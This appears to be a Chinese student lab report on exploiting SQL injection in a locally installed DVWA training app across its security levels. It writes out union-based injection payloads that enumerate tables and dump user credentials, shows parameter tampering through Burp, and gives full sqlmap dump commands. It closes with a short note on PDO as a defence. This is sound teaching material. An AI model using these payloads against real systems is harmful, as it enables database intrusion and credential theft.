目录
(4) 按教材操作流程完成SQ注入分析,验证不同安全级别情况下sql注入的风险,并就实现结果提出安全应对建议。
设置高级防护:对中等难度的扩展,混合了更难或替代性的错误做法来尝试保护代码。该漏洞可能不允许进行相同程度的攻击,类似于各种CTF比赛。
设置不可能级防护:此级别应针对所有漏洞进行安全保护。它用于将易受攻击的源代码与安全源代码进行比较。
原本实验没有要求sqlmap等操作,听说是做到low等级就好,自行辨别。
借助Web漏洞教学和演练的开源工具DVWA,学习并了解Web漏洞(以SQL注入为例)的原理及利用,验证SQL注入漏洞的实现过程及结果,并思考应对web漏洞风险的策略与手段。
1、操作系统:windows 7/8/10等
2、开发环境:DVWA
《软件安全技术》教材第4章
1. 目标:案例4-2。
2. 实验说明:借助Web漏洞教学和演练的开源工具DVWA,验证SQL注入漏洞的实现过程及结果
3. 步骤:
(5)完成实验报告
4. 要求:提供实验步骤说明及相应截图,完成实验报告。
书上安装XAMPP,但我不打算安装,我用phpstudy进行
安装phpstudy
启动Apache
浏览器输入http://localhost/
下载DVWA,将DVWA文件夹放在WWW文件夹下
打开phpstudy,创建域名
修改配置文件config.inc.php,如果没有就复制一份config.inc.php.dist
修改password为root(书上为空密码),user改为root
打开首页http://dvwa(或者直接dvwa),
拉到最下方,点击create/reset database初始化数据库
输入admin,password
源代码:
输入1
输入1’and’1’=’2
输入1'or'1'='1
输入1’ or 1=1 order by 1 #
输入1’ or 1=1 union select 1,2,3,4,5,6,7,8#
判断只有两个字段
输入1' or 1=1 order by 3#
核实只有两字段
输入' union select 1,2#
输入'union select user(),database() #
输入' union select 1, group_concat(table_name) from information_schema.tables where table_schema=database()#
有时候会出现这个字符集不兼容的问题,DVWA问题
在sql语句from前添加COLLATE utf8_general_ci即可
输入1' union select 1,group_concat(table_name) COLLATE utf8_general_ci from information_schema.tables where table_schema=database()#
输入' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #
输入1' union select 1,group_concat(column_name) COLLATE utf8_general_ci from information_schema.columns where table_name='users'#
输入' union select user,password from users#
口令是32位,数据库常用加密md5,盲猜md5
5f4dcc3b5aa765d61d8327deb882cf99
源代码:
它的用户交互界面变成了选项,阻挡了一些的注入
在提交id的过程中,发现页面刷新很快,上交的携带参数url无法肉眼捕捉,可以利用bp来搞。
上号bp
先试试抓包,拦截,换参数,上传一波流能不能成功
进行尝试注入1' or 1=1 #
看到回应报文
更改注入1 or 1=1 #
回应报文,成功
更改参数为1 order by 2#,成功
更改参数为1 order by 3#,失败
只有两个字段
更改参数1 union select user(),database() #
更改参数1 union select 1,group_concat(table_name) COLLATE utf8_general_ci from information_schema.tables where table_schema=database()#
更改参数1 union select 1,group_concat(column_name) COLLATE utf8_general_ci from information_schema.columns where table_name='users'#
但这个注入又很奇怪
更改参数1 union select user,password from users#
源代码:
与medium级别代码相比,high级别的只是在SQL查询语句中增加limit 1,希望以此控制只输出一个结果。
虽然增加limit 1,但是可以通过#将其注释掉。
手工注入的过程与low级别基本一样,直接最后一部演示下载数据
输入' union select group_concat(user_id,first_name,last_name),group_concat(password) from user #
源代码:
impossible级别的代码采用了PDO技术,划清了代码与数据的界限,能有效防御sql注入,同时查询返回结果数量为1时,才会成功输出,这样有效预防了脱裤。
此外,我进行了sqlmap注入,这比手工快多了。但要注意命令格式
sqlmap.py -u "http://192.168.141.136/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=u26qutkcu5ak4p0icnii8rppo1" -dbms mysql -dbs
dvwa靶场有外部登入,所以需要加上cookie,cookie在php info里面查找
sqlmap.py -u "http://192.168.141.136/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=u26qutkcu5ak4p0icnii8rppo1" -dbms mysql -D dvwa --tables
sqlmap.py -u "http://192.168.141.136/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=u26qutkcu5ak4p0icnii8rppo1" -D “dvwa” -T ”users” --columns
sqlmap.py -u "http://192.168.141.136/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=u26qutkcu5ak4p0icnii8rppo1" -D "dvwa" -T "users" -C "user,password" --dump
六、实验体会(遇到的问题及解决方法)
麻烦,文档不能完整上传,图片要单贴。实验步骤有进行略微跳步,但跳的都是简单操作,如果不懂了话,需要去补充一些相关内容。